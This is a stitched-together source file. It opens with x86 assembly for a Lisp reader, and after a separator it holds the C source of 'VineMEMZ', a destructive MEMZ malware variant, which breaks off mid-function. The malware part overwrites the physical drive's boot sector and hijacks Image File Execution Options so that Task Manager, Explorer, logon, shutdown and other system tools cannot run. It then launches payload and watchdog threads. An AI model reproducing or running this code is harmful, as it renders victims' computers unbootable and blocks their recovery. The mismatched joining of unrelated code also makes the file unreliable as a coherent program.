jne near ptr tryfix1
jmp near ptr trysymi
tryfix0 label near
call near ptr nextsym
cmp dx,46
je near ptr tryflo0
call near ptr digitpi
cmp eax,esi
je near ptr trysymi
tryfix1 label near
call near ptr nextfix
call near ptr digitpi
cmp eax,esi
jne near ptr tryfix1
cmp dx,46
je near ptr tryflo2
cmp dx,69
je near ptr tryflo3
cmp dx,101
je near ptr tryflo3
cmp dx,47
je near ptr tryfix2
jmp near ptr trysymi
tryfix2 label near
call near ptr nextsym
cmp dx,43
je near ptr tryfix3
cmp dx,45
je near ptr tryfix3
call near ptr digitpi
cmp eax,esi
je near ptr trysymi
jmp near ptr tryfix4
tryfix3 label near
call near ptr nextsym
call near ptr digitpi
cmp eax,esi
je near ptr trysymi
tryfix4 label near
call near ptr nextfix
call near ptr digitpi
cmp eax,esi
jne near ptr tryfix4
jmp near ptr trysymi
tryflo0 label near
call near ptr nextsym
call near ptr base10p
cmp eax,esi
je near ptr trysymi
tryflo1 label near
call near ptr nextflo
call near ptr base10p
cmp eax,esi
jne near ptr tryflo1
cmp dx,69
je near ptr tryflo4
cmp dx,101
je near ptr tryflo4
jmp near ptr trysymi
tryflo2 label near
cmp dword ptr [all09],esi
jne near ptr tryflo1
jmp near ptr trysymi
tryflo3 label near
cmp dword ptr [all09],esi
je near ptr trysymi
tryflo4 label near
call near ptr nextsym
call near ptr base10p
cmp eax,esi
jne near ptr tryflo6
cmp dx,45
je near ptr tryflo5
cmp dx,43
jne near ptr trysymi
tryflo5 label near
call near ptr nextsym
call near ptr base10p
cmp eax,esi
je near ptr trysymi
tryflo6 label near
call near ptr nextflo
call near ptr base10p
cmp eax,esi
jne near ptr tryflo6
jmp near ptr trysymi
trysymi label near
mov eax,dword ptr [tsymb000]
trysymb label near
call near ptr trysymb0
trysymbx label near
or bx,bx
je near ptr trysymre
cmp bx,1
je near ptr mak2d
cmp bx,2
je near ptr mak3d12
mak3d2n label near
call near ptr symballc
plac3d2n label near
mov ecx,dword ptr [28+edx]
mov dword ptr [28+eax],ecx
mov dword ptr [28+edx],eax
mov ebp,dword ptr [20+ecx]
mov dword ptr [20+eax],ebp
trysymre label near
ret
mak3d12 label near
call near ptr symballc
plac3d12 label near
mov ebp,dword ptr [28+edx]
mov dword ptr [20+eax],ebp
mov dword ptr [28+edx],eax
mov dword ptr [28+eax],edx
ret
mak2d label near
mov ebx,dword ptr [tsymb000]
call near ptr strgallc
cld
push ecx
push edi
push esi
mov ebp,dword ptr [asymb]
mov esi,dword ptr [ebp]
add esi,8
mov edi,dword ptr [eax]
add edi,8
mov ecx,ebx
jecxz short l__3
cmp esi,edi
jae short l__3
dec ecx
add esi,ecx
add edi,ecx
std
movsb
l__3:
rep movsb
cld
pop esi
pop edi
pop ecx
mov ebx,eax
call near ptr symballc
mov dword ptr [28+eax],ebx
mov edx,dword ptr [ksymb]
plac2d label near
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov ebp,dword ptr [ebp+edx*4+8]
mov dword ptr [20+eax],ebp
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov dword ptr [ebp+edx*4+8],eax
ret
trysymb0 label near
mov dword ptr [tsymb000],eax
mov dword ptr [asymb],ebx
call near ptr hashfast
mov dword ptr [ksymb],eax
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov ecx,dword ptr [ebp+eax*4+8]
mov dword ptr [hsymb],ecx
mov eax,dword ptr [tsymb000]
jmp near ptr trysymb6
trysymb1 label near
mov edx,dword ptr [28+ecx]
cmp dword ptr [bstrg],edx
ja short lmac1491
cmp edx,esi
jb near ptr trysymb2
lmac1491:
mov edx,dword ptr [20+edx]
trysymb2 label near
mov ebp,dword ptr [edx]
mov ebx,dword ptr [4+ebp]
cmp ax,bx
jne near ptr trysymb5
cld
push ecx
push edi
push esi
mov ebp,dword ptr [asymb]
mov esi,dword ptr [ebp]
add esi,8
mov edi,dword ptr [edx]
add edi,8
mov ecx,eax
or ecx,ecx
repz cmpsb
pop esi
pop edi
pop ecx
jz near ptr trysymb8
trysymb5 label near
mov dword ptr [hsymb],ecx
mov ecx,dword ptr [20+ecx]
trysymb6 label near
cmp dword ptr [bfloat],ecx
jbe near ptr trysymb1
mov ebx,1
mov edx,dword ptr [ksymb]
ret
trysymb8 label near
mov eax,ecx
mov ebx,dword ptr [hsymb]
cmp eax,ebx
je near ptr trysy3d
mov ebp,dword ptr [20+eax]
mov dword ptr [20+ebx],ebp
mov ecx,dword ptr [ksymb]
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov ebp,dword ptr [ebp+ecx*4+8]
mov dword ptr [20+eax],ebp
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov dword ptr [ebp+ecx*4+8],eax
jmp near ptr trysy3d
trysymp label near
push dword ptr [cpkgc]
mov dword ptr [cpkgc],eax
mov ebp,dword ptr [ebx]
mov eax,dword ptr [4+ebp]
mov ecx,offset FLAT:trysymb
call near ptr sysprot
pop eax
pop dword ptr [cpkgc]
jmp ecx
trysympk label near
push dword ptr [cpkgc]
mov dword ptr [cpkgc],eax
mov eax,ebx
mov ecx,offset FLAT:trysymp1
call near ptr sysprot
pop eax
pop dword ptr [cpkgc]
jmp ecx
trysymp1 label near
push offset FLAT:trysymbx
jmp near ptr trysy3d
pkgcequ label near
push eax
mov eax,dword ptr [12+eax]
mov ebx,dword ptr [cpkgc]
call near ptr equal
mov ebx,eax
pop eax
ret
trysy3d label near
mov edx,dword ptr [cpkgc]
cmp edx,esi
jb short lmac1492
cmp edx,edi
jb near ptr trysy3s
lmac1492:
trysy3c label near
call near ptr pkgcequ
cmp ebx,esi
jne near ptr trysyr4
mov ebp,dword ptr [28+eax]
cmp dword ptr [bstrg],ebp
ja near ptr trysy3c0
cmp esi,ebp
jbe near ptr trysy3c0
trysyr1 label near
mov ebx,2
mov edx,eax
ret
trysy3c0 label near
push eax
push eax
trysy3c1 label near
mov eax,dword ptr [28+eax]
call near ptr pkgcequ
cmp ebx,esi
jne near ptr trysyr3
mov ebp,dword ptr [20+eax]
cmp dword ptr [bstrg],ebp
ja short lmac1493
cmp esi,ebp
ja near ptr trysy3c2
lmac1493:
mov dword ptr [esp+4],eax
trysy3c2 label near
cmp eax,dword ptr [esp]
jne near ptr trysy3c1
add esp,4
pop edx
trysyr2 label near
mov ebx,3
ret
trysyr3 label near
add esp,8
trysyr4 label near
xor ebx,ebx
ret
trysy3s label near
cmp edx,dword ptr [12+eax]
je near ptr trysyr4
mov ebp,dword ptr [28+eax]
cmp dword ptr [bstrg],ebp
ja short lmac1494
cmp esi,ebp
ja near ptr trysyr1
lmac1494:
mov ebx,eax
mov ecx,eax
trysy31 label near
mov eax,dword ptr [28+eax]
cmp edx,dword ptr [12+eax]
je near ptr trysyr4
mov ebp,dword ptr [20+eax]
cmp dword ptr [bstrg],ebp
ja short lmac1495
cmp esi,ebp
ja near ptr trysy32
lmac1495:
mov ebx,eax
trysy32 label near
cmp eax,ecx
jne near ptr trysy31
mov edx,ebx
jmp near ptr trysyr2
istdsym label near
mov ebp,dword ptr [zundef]
mov dword ptr [eax],ebp
mov dword ptr [4+eax],esi
mov dword ptr [8+eax],0
mov word ptr [24+eax],0
mov word ptr [26+eax],0
mov dword ptr [16+eax],esi
ret
symballc label near
mov eax,dword ptr [fsymb]
or eax,eax
jne near ptr symball1
call near ptr gcsymb
mov eax,dword ptr [fsymb]
symball1 label near
mov ebp,dword ptr [20+eax]
mov dword ptr [fsymb],ebp
call near ptr istdsym
mov ebp,dword ptr [cpkgc]
mov dword ptr [12+eax],ebp
ret
crastrg label near
push ebx
mov ebx,eax
call near ptr strgallc
pop ecx
cld
push ecx
push edi
push esi
mov esi,ecx
mov edi,dword ptr [eax]
add edi,8
mov ecx,ebx
rep movsb
pop esi
pop edi
pop ecx
ret
getch label near
cmp dword ptr [ringur],esi
je near ptr getch1
mov dword ptr [getchfl],1
mov edx,dword ptr [ringur]
mov ebp,dword ptr [4+edx]
mov dword ptr [ringur],ebp
mov edx,dword ptr [edx]
jmp near ptr getch2
getch1 label near
cmp dword ptr [impli],esi
jne near ptr getch3
mov dword ptr [getchfl],0
call near ptr inphy
getch2 label near
mov ecx,12
cmp dx,255
jg near ptr getch21
mov ebp,dword ptr [tabch]
mov ebp,dword ptr [ebp]
movzx ecx,byte ptr [ebp+edx+8]
getch21 label near
ret
getch3 label near
mov edx,dword ptr [impld]
mov dword ptr [getchfl],2
cmp edx,esi
je near ptr getch4
cmp edx,edi
jb near ptr erlec1
mov ebp,dword ptr [4+edx]
mov dword ptr [impld],ebp
mov edx,dword ptr [edx]
cmp dword ptr [bfloat],edx
jbe near ptr erlec9
jmp near ptr getch2
getch4 label near
mov dword ptr [impld],0
mov edx,32
jmp near ptr getch2
getcv label near
call near ptr getch
jmp dword ptr cs:[ecx*4+tgetcv]
tgetcv dd offset FLAT:getcv
dd offset FLAT:getcvc
dd offset FLAT:getcvs
dd offset FLAT:getcv1
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcvr
dd offset FLAT:getcv2
dd offset FLAT:getcvr
dd offset FLAT:getcvr
getcvr label near
ret
getcv1 label near
mov dword ptr [quotes],edx
call near ptr getch
mov ecx,12
ret
getcv2 label near
mov ecx,dword ptr [zstatrc]
cmp dword ptr [ecx],esi
jne near ptr getcv3
cmp dx,65
jl near ptr getcv3
cmp dx,90
jg near ptr getcv3
add edx,32
getcv3 label near
mov ecx,12
ret
getcvc label near
call near ptr getch
cmp cx,2
jne near ptr getcvc
getcvs label near
mov ecx,7
ret
rd1 label near
mov dword ptr [quotes],esi
xor ebx,ebx
rdsep label near
call near ptr getcv
jmp dword ptr cs:[ecx*4+rdtb1]
rdtb1 dd offset FLAT:erlec1
dd offset FLAT:erlec1
dd offset FLAT:erlec1
dd offset FLAT:erlec1
dd offset FLAT:rdparo
dd offset FLAT:rdparf
dd offset FLAT:rddot
dd offset FLAT:rdsep
dd offset FLAT:rdpkgc
dd offset FLAT:rdsplic
dd offset FLAT:rdmac
dd offset FLAT:rdstr
dd offset FLAT:rdpname
dd offset FLAT:rdsymb
dd offset FLAT:rdmsymb
rdparo label near
inc word ptr [rdprd]
xor ecx,ecx
ret
rdparf label near
dec word ptr [rdprd]
jge near ptr rdparfr
mov dword ptr [rdprd],0
rdparfr label near
mov ecx,1
ret
rddot label near
cmp dx,46
jne near ptr rddot1
call near ptr getcv
cmp cx,12
je near ptr rddot2
mov ecx,2
jmp near ptr rereada4
rddot1 label near
mov ecx,2
ret
rddot2 label near
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+8],46
mov ebx,1
jmp near ptr rdpname
rdpkgc label near
mov eax,dword ptr [zsyscol]
mov eax,dword ptr [eax]
jmp near ptr rdpkgc2
rdpkgc1 label near
mov eax,ebx
mov ebx,dword ptr [bufat]
call near ptr tryatom
cmp eax,esi
jb near ptr erlec6
cmp eax,edi
jae near ptr erlec6
rdpkgc2 label near
push dword ptr [cpkgc]
mov dword ptr [cpkgc],eax
mov ecx,offset FLAT:readi
call near ptr sysprot
pop eax
pop dword ptr [cpkgc]
push ecx
mov ecx,3
ret
rdsplic label near
call near ptr asciii
mov ebx,esi
call near ptr apply
cmp eax,esi
je near ptr rdsplic1
cmp eax,edi
jae near ptr rdsplic1
jmp near ptr erlec10
rdsplic1 label near
mov ecx,4
ret
rdmac label near
call near ptr asciii
mov ebx,esi
call near ptr apply
rdretobj label near
mov ecx,3
ret
rdstr0 label near
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+ebx+8],dl
inc bx
cmp bx,word ptr [lgbufat]
jge near ptr erlec2
rdstr label near
call near ptr getch
cmp cx,11
jne near ptr rdstr0
call near ptr getch
cmp cx,11
je near ptr rdstr0
call near ptr rereada4
call near ptr strgallc
cld
push ecx
push edi
push esi
mov ebp,dword ptr [bufat]
mov esi,dword ptr [ebp]
add esi,8
mov edi,dword ptr [eax]
add edi,8
mov ecx,ebx
jecxz short l__4
cmp esi,edi
jae short l__4
dec ecx
add esi,ecx
add edi,ecx
std
movsb
l__4:
rep movsb
cld
pop esi
pop edi
pop ecx
cmp dword ptr [cpkgc],esi
je near ptr rdretobj
mov ebp,dword ptr [cpkgc]
mov dword ptr [4+eax],ebp
jmp near ptr rdretobj
rdpname label near
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+ebx+8],dl
inc bx
cmp bx,128
jge near ptr erlec3
call near ptr getcv
cmp cx,12
je near ptr rdpname
cmp cx,6
je near ptr rdpname
rdfinsym label near
cmp cx,8
je near ptr rdpkgc1
call near ptr rereada4
mov eax,ebx
mov ebx,dword ptr [bufat]
call near ptr tryatom
jmp near ptr rdretobj
rdsymb label near
mov dword ptr [quotes],edx
jmp near ptr rdsymb1
rdsymb0 label near
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+ebx+8],dl
inc bx
cmp bx,256
jge near ptr erlec5
rdsymb1 label near
call near ptr getch
cmp cx,13
jne near ptr rdsymb0
call near ptr getch
cmp cx,13
je near ptr rdsymb0
jmp near ptr rdfinsym
rdmsymb label near
mov dword ptr [quotes],edx
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+8],dl
mov ebx,1
call near ptr getcv
jmp near ptr rdfinsym
readi label near
call near ptr rd1
read0 label near
jmp dword ptr cs:[ecx*4+readt1]
readt1 dd offset FLAT:read2
dd offset FLAT:erlec4
dd offset FLAT:erlec4
dd offset FLAT:rdpopj
dd offset FLAT:read1
read1 label near
cmp dword ptr [4+eax],esi
jne near ptr erlec10
mov eax,dword ptr [eax]
ret
read2 label near
push dword ptr [curread]
mov eax,dword ptr [zlcuread]
cmp dword ptr [fcons],edi
jb near ptr l__5
l1__5:
mov ebp,dword ptr [fcons]
mov dword ptr [ebp],eax
mov eax,esi
xchg dword ptr [4+ebp],eax
xchg dword ptr [fcons],eax
push eax
mov dword ptr [curread],eax
read3 label near
push eax
call near ptr rd1
read31 label near
jmp dword ptr cs:[ecx*4+readt2]
readt2 dd offset FLAT:read6
dd offset FLAT:read7
dd offset FLAT:read9
dd offset FLAT:read4
dd offset FLAT:read5
read4 label near
cmp dword ptr [fcons],edi
jb near ptr l__6
l1__6:
mov ebp,dword ptr [fcons]
mov dword ptr [ebp],eax
mov eax,esi
xchg dword ptr [4+ebp],eax
xchg dword ptr [fcons],eax
pop ebx
mov dword ptr [4+ebx],eax
jmp near ptr read3
read5 label near
cmp eax,edi
jae near ptr read51
pop eax
jmp near ptr read3
read51 label near
pop ebx
mov dword ptr [4+ebx],eax
read52 label near
cmp dword ptr [4+eax],edi
jb near ptr read3
mov eax,dword ptr [4+eax]
jmp near ptr read52
read6 label near
push offset FLAT:read4
jmp near ptr read2
read7 label near
pop eax
read71 label near
pop eax
mov eax,dword ptr [4+eax]
pop dword ptr [curread]
ret
read9 label near
call near ptr readi
push eax
call near ptr rd1
pop eax
pop ebx
jmp dword ptr cs:[ecx*4+readt3]
readt3 dd offset FLAT:erlec7
dd offset FLAT:read91
dd offset FLAT:erlec7
dd offset FLAT:erlec7
dd offset FLAT:erlec7
read91 label near
mov dword ptr [4+ebx],eax
jmp near ptr read71
erlec1 label near
mov eax,1
jmp near ptr erlec
erlec2 label near
mov eax,2
jmp near ptr erlec
erlec3 label near
mov eax,3
jmp near ptr erlec
erlec4 label near
mov eax,4
jmp near ptr erlec
erlec5 label near
mov eax,5
jmp near ptr erlec
erlec6 label near
mov eax,6
jmp near ptr erlec
erlec7 label near
mov eax,7
jmp near ptr erlec
erlec8 label near
mov eax,8
jmp near ptr erlec
erlec9 label near
mov eax,9
jmp near ptr erlec
erlec10 label near
mov eax,10
jmp near ptr erlec
erlec11 label near
mov eax,11
jmp near ptr erlec
erlec label near
cmp dword ptr [impli],esi
jne near ptr erlecc1
mov ebx,dword ptr [zlread]
jmp near ptr errsxt
erlecc1 label near
mov ebx,dword ptr [zimplode]
mov dword ptr [impli],esi
mov dword ptr [impld],esi
jmp near ptr errsxt
ini_read endp
lread proc near
call near ptr getcv
cmp cx,5
je near ptr lread
cmp cx,7
je near ptr lread
call near ptr rereada4
mov eax,dword ptr [zstinread]
push dword ptr [eax]
mov ebp,dword ptr [zt]
mov dword ptr [eax],ebp
mov ecx,offset FLAT:readi
call near ptr sysprot
lreadend label near
pop eax
mov edx,dword ptr [zstinread]
pop dword ptr [edx]
jmp ecx
lread endp
implode proc near
push dword ptr [impld]
push dword ptr [impli]
push dword ptr [ringur]
mov dword ptr [impld],eax
mov ebp,dword ptr [zt]
mov dword ptr [impli],ebp
mov dword ptr [ringur],esi
mov ecx,offset FLAT:readi
call near ptr sysprot
pop eax
pop dword ptr [ringur]
pop dword ptr [impli]
pop dword ptr [impld]
jmp ecx
implode endp
implodech proc near
mov ebx,eax
mov ecx,esi
impldech1 label near
cmp ebx,edi
jb near ptr impldech2
mov eax,dword ptr [ebx]
call near ptr cascii
cmp dword ptr [fcons],edi
jb near ptr l__7
l1__7:
xchg dword ptr [fcons],edi
mov dword ptr [edi],eax
xchg dword ptr [4+edi],ecx
xchg ecx,edi
xchg dword ptr [fcons],edi
mov ebx,dword ptr [4+ebx]
jmp near ptr impldech1
impldech2 label near
mov eax,ecx
call near ptr nreverse
jmp near ptr implode
ret
implodech endp
readch proc near
push offset FLAT:asciii
jmp near ptr getch
readch endp
readcod proc near
call near ptr getch
mov eax,edx
ret
readcod endp
lcuread proc near
mov eax,dword ptr [curread]
ret
lcuread endp
teread proc near
mov dword ptr [ringur],esi
mov dword ptr [inmax],0
ret
teread endp
reread proc near
cmp eax,esi
je near ptr reread9
cmp eax,edi
jb near ptr rereade
mov ebx,esi
cmp dword ptr [fcons],edi
jb near ptr l__8
l1__8:
mov ebp,dword ptr [fcons]
mov dword ptr [ebp],ebx
mov ebx,esi
xchg dword ptr [4+ebp],ebx
xchg dword ptr [fcons],ebx
push ebx
reread4 label near
mov ecx,dword ptr [eax]
cmp dword ptr [fcons],edi
jb near ptr l__9
l1__9:
mov ebp,dword ptr [fcons]
mov dword ptr [ebp],ecx
mov ecx,esi
xchg dword ptr [4+ebp],ecx
xchg dword ptr [fcons],ecx
mov dword ptr [4+ebx],ecx
mov ebx,ecx
mov eax,dword ptr [4+eax]
cmp eax,edi
jae near ptr reread4
mov ebp,dword ptr [ringur]
mov dword ptr [4+ebx],ebp
pop eax
mov eax,dword ptr [4+eax]
mov dword ptr [ringur],eax
reread9 label near
mov eax,dword ptr [ringur]
ret
rereade label near
mov ebx,dword ptr [zreread]
jmp near ptr errnla
rereada4 label near
cmp word ptr [getchfl],0
jne near ptr rrda41
dec word ptr [polig]
ret
rrda41 label near
cmp dword ptr [fcons],edi
jb near ptr l__10
l1__10:
mov ebp,dword ptr [fcons]
mov dword ptr [ebp],edx
mov edx,dword ptr [ringur]
xchg dword ptr [4+ebp],edx
xchg dword ptr [fcons],edx
mov dword ptr [ringur],edx
ret
reread endp
peekch proc near
call near ptr getch
push edx
call near ptr rereada4
pop edx
jmp near ptr asciii
peekch endp
peekcn proc near
call near ptr getch
mov eax,edx
jmp near ptr rereada4
peekcn endp
readline proc near
call near ptr getch
mov eax,esi
cmp dx,13
jne near ptr readl2
call near ptr getch
mov eax,esi
cmp dx,10
jne near ptr readl2
ret
readl2 label near
cmp dx,10
je near ptr readl4
readl3 label near
cmp dx,10
je near ptr readl5
cmp dword ptr [fcons],edi
jb near ptr l__11
l1__11:
xchg dword ptr [fcons],edi
mov dword ptr [edi],edx
xchg dword ptr [4+edi],eax
xchg eax,edi
xchg dword ptr [fcons],edi
readl4 label near
push eax
call near ptr getch
pop eax
cmp dx,13
jne near ptr readl3
readl5 label near
jmp near ptr nreverse
readline endp
stratom proc near
cmp dword ptr [bfloat],eax
jbe near ptr erstrat1
cmp dword ptr [bstrg],ebx
ja near ptr erstrat2
cmp ebx,esi
jae near ptr erstrat2
mov dword ptr [quotes],ecx
jmp near ptr tryatom
erstrat1 label near
mov ebx,dword ptr [zstratom]
jmp near ptr errnia
erstrat2 label near
mov eax,ebx
mov ebx,dword ptr [zstratom]
jmp near ptr errnsa
stratom endp
readstrg proc near
call near ptr getch
xor ebx,ebx
cmp dx,10
je near ptr reads4
cmp dx,13
jne near ptr reads3
call near ptr getch
xor ebx,ebx
reads3 label near
cmp dx,10
je near ptr reads5
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+ebx+8],dl
cmp bx,word ptr [lgbufat]
je near ptr reads5
inc bx
reads4 label near
push ebx
call near ptr getch
pop ebx
cmp dx,13
jne near ptr reads3
reads5 label near
call near ptr strgallc
cld
push ecx
push edi
push esi
mov ebp,dword ptr [bufat]
mov esi,dword ptr [ebp]
add esi,8
mov edi,dword ptr [eax]
add edi,8
mov ecx,ebx
jecxz short l__12
cmp esi,edi
jae short l__12
dec ecx
add esi,ecx
add edi,ecx
std
movsb
l__12:
rep movsb
cld
pop esi
pop edi
pop ecx
ret
readstrg endp
readdltd proc near
cmp dword ptr [bfloat],eax
jbe near ptr readdltr
mov ebp,dword ptr [tabch]
mov ebp,dword ptr [ebp]
movzx ebx,byte ptr [ebp+eax+8]
push eax
push ebx
mov ebp,dword ptr [tabch]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+eax+8],5
mov ecx,offset FLAT:read2
call near ptr sysprot
pop eax
pop ebx
pop edx
mov ebp,dword ptr [tabch]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+edx+8],bl
jmp ecx
readdltr label near
mov ebx,dword ptr [zreaddltd]
jmp near ptr errnia
asciii label near
mov eax,edx
cmp dword ptr [bfloat],eax
jbe near ptr ascierr
or ax,ax
jl near ptr fascii3
cmp ax,128
jge near ptr fascii3
mov ebp,dword ptr [cachch]
mov ebp,dword ptr [ebp]
mov ebx,dword ptr [ebp+eax*4+8]
cmp ebx,esi
jb near ptr fascii3
cmp ebx,edi
jae near ptr fascii3
mov eax,ebx
ret
fascii3 label near
push eax
xor ebx,ebx
mov ebp,dword ptr [bufat]
mov ebp,dword ptr [ebp]
mov byte ptr [ebp+ebx+8],al
inc bx
mov eax,ebx
mov ebx,dword ptr [bufat]
push dword ptr [cpkgc]
mov ecx,offset FLAT:fascii8
call near ptr sysprot
pop eax
pop dword ptr [cpkgc]
pop ebx
cmp eax,esi
jb near ptr fascii7
cmp eax,edi
jae near ptr fascii7
or bx,bx
jl near ptr fascii7
cmp bx,128
jge near ptr fascii7
mov ebp,dword ptr [cachch]
mov ebp,dword ptr [ebp]
mov dword ptr [ebp+ebx*4+8],eax
fascii7 label near
jmp ecx
fascii8 label near
mov dword ptr [cpkgc],esi
jmp near ptr tryatom
ascierr label near
mov ebx,dword ptr [zfascii]
jmp near ptr errnia
readdltd endp
fascii proc near
mov edx,eax
jmp near ptr asciii
fascii endp
cascii proc near
mov ebp,dword ptr [zcascii]
mov dword ptr [savea4],ebp
call near ptr stringa1
mov ebp,dword ptr [eax]
movzx eax,byte ptr [ebp+8]
ret
cascii endp
concatpk proc near
cmp eax,esi
jb near ptr concpkr1
cmp eax,edi
jae near ptr concpkr1
cmp ebx,esi
jb near ptr concpkr2
cmp ebx,edi
jae near ptr concpkr2
concpk0 label near
cmp ebx,esi
je near ptr concpkr
push ebx
mov ebx,dword ptr [12+ebx]
call near ptr concpk0
pop ebx
jmp near ptr trysympk
concpkr label near
ret
concpkr2 label near
mov eax,ebx
concpkr1 label near
mov ebx,dword ptr [zconcatpk]
jmp near ptr errsym
concatpk endp
uppercase proc near
cmp dword ptr [bfloat],eax
jbe near ptr upper9
cmp ax,97
jl near ptr upper8
cmp ax,122
jg near ptr upper8
sub eax,32
upper8 label near
ret
upper9 label near
mov ebx,dword ptr [zuppercase]
jmp near ptr errnia
uppercase endp
lowercase proc near
cmp dword ptr [bfloat],eax
jbe near ptr lower9
cmp ax,65
jl near ptr lower8
cmp ax,90
jg near ptr lower8
add eax,32
lower8 label near
ret
lower9 label near
mov ebx,dword ptr [zlowercase]
jmp near ptr errnia
lowercase endp
asciip proc near
cmp dword ptr [bfloat],eax
jbe near ptr asciipn
or ax,ax
jl near ptr asciipn
cmp ax,255
jle near ptr asciipt
asciipn label near
mov eax,esi
asciipt label near
ret
asciip endp
digitp proc near
cmp dword ptr [bfloat],eax
jbe near ptr digitpn
cmp ax,48
jl near ptr digitpn
cmp ax,57
jle near ptr digitpt
digitpn label near
mov eax,esi
digitpt label near
ret
digitp endp
letterp proc near
cmp dword ptr [bfloat],eax
jbe near ptr lettern
cmp ax,65
jl near ptr lettere
cmp ax,90
jle near ptr lettert
lettere label near
cmp ax,97
jl near ptr lettern
cmp ax,122
jle near ptr lettert
lettern label near
mov eax,esi
lettert label near
ret
letterp endp
fibase proc near
mov ebx,dword ptr [zfibase]
mov ecx,dword ptr [ibase]
push 2
push 36
call near ptr getsetn
mov dword ptr [ibase],eax
ret
l__11:
call near ptr gccons
jmp near ptr l1__11
l__10:
call near ptr gccons
jmp near ptr l1__10
l__9:
call near ptr gccons
jmp near ptr l1__9
l__8:
call near ptr gccons
jmp near ptr l1__8
l__7:
call near ptr gccons
jmp near ptr l1__7
l__6:
call near ptr gccons
jmp near ptr l1__6
l__5:
call near ptr gccons
jmp near ptr l1__5
fibase endp
_TEXT ends
end
|
/*
VineMEMZ
Warning: The code was written in about a week and I did not took affort in making it efficient
and well organised.
It was originally written for Vinesauce Joel's Windows 10 Destruction.
It needs a lot of assets to run.
*/
#include "memz.h"
void start() {
int argcb;
LPWSTR *argvb = CommandLineToArgvW(GetCommandLineW(), &argcb);
if (argcb == 1) {
if (!lstrcmpW(argvb[0], L"/watchdog")) {
CreateThread(NULL, NULL, &watchdogThread, NULL, NULL, NULL);
WNDCLASSEXA c;
c.cbSize = sizeof(WNDCLASSEXA);
c.lpfnWndProc = WindowProcWatchdog;
c.lpszClassName = "hax";
c.style = 0;
c.cbClsExtra = 0;
c.cbWndExtra = 0;
c.hInstance = NULL;
c.hIcon = 0;
c.hCursor = 0;
c.hbrBackground = 0;
c.lpszMenuName = NULL;
c.hIconSm = 0;
RegisterClassExA(&c);
HWND hwnd = CreateWindowExA(0, "hax", NULL, NULL, 0, 0, 100, 100, NULL, NULL, NULL, NULL);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
} else if (!lstrcmpW(argvb[0], L"/main")) {
HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (drive == INVALID_HANDLE_VALUE)
ExitProcess(2);
unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 65536);
// Join the two code parts together
int i = 0;
for (; i < code1_len; i++)
*(bootcode + i) = *(code1 + i);
for (i = 0; i < code2_len; i++)
*(bootcode + i + 0x1fe) = *(code2 + i);
DWORD wb;
if (!WriteFile(drive, bootcode, 65536, &wb, NULL))
ExitProcess(3);
CloseHandle(drive);
HANDLE note = CreateFileA("\\note.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (note == INVALID_HANDLE_VALUE)
ExitProcess(4);
if (!WriteFile(note, msg, msg_len, &wb, NULL))
ExitProcess(5);
CloseHandle(note);
ShellExecuteA(NULL, NULL, "notepad", "\\note.txt", NULL, SW_SHOWDEFAULT);
LPWSTR system32 = (LPWSTR)LocalAlloc(0, 4096);
GetSystemDirectoryW(system32, 2048);
HKEY key;
RegOpenKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options", &key);
LPWSTR value = L"rekt.exe";
const LPWSTR killNames[] = {
L"logonui.exe",
L"taskmgr.exe",
L"msconfig.exe",
L"explorer.exe",
L"shutdown.exe",
L"taskkill.exe",
L"mmc.exe"
};
for (int i = 0; i < sizeof(killNames) / sizeof(void*); i++) {
HKEY sKey;
RegCreateKeyW(key, killNames[i], &sKey);
RegSetValueExW(sKey, L"Debugger", 0, REG_SZ, (BYTE *)value, lstrlenW(value) * 2);
RegCloseKey(sKey);
}
RegCloseKey(key);
waveOutSetVolume(NULL, 0xffff);
for (int p = 0; p < nPayloads; p++) {
Sleep(payloads[p].startDelay);
CreateThread(NULL, NULL, payloads[p].payloadHost, &payloads[p], NULL, NULL);
}
for (;;) {
Sleep(10000);
}
} else {
if (MessageBoxA(NULL, "The software you just executed is considered malware.\r\n\
This malware will harm your computer and makes it unusable.\r\n\
If you are seeing this message without knowing what you just executed, simply press No and nothing will happen.\r\n\
If you know what this malware does and are using a safe environment to test, \
press Yes to start it.\r\n\r\n\
DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", "VineMEMZ", MB_YESNO | MB_ICONWARNING) != IDYES ||
MessageBoxA(NULL, "THIS IS THE LAST WARNING!\r\n\r\n\
THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n\
STILL EXECUTE IT?", "VineMEMZ", MB_YESNO | MB_ICONWARNING) != IDYES) {
ExitProcess(0);
}
wchar_t *fn = (wchar_t *)LocalAlloc(LMEM_ZEROINIT, 8192 * 2);
GetModuleFileName(NULL, fn, 8192);
for (int i = 0; i < 3; i++)
open(fn, L"/watchdog");
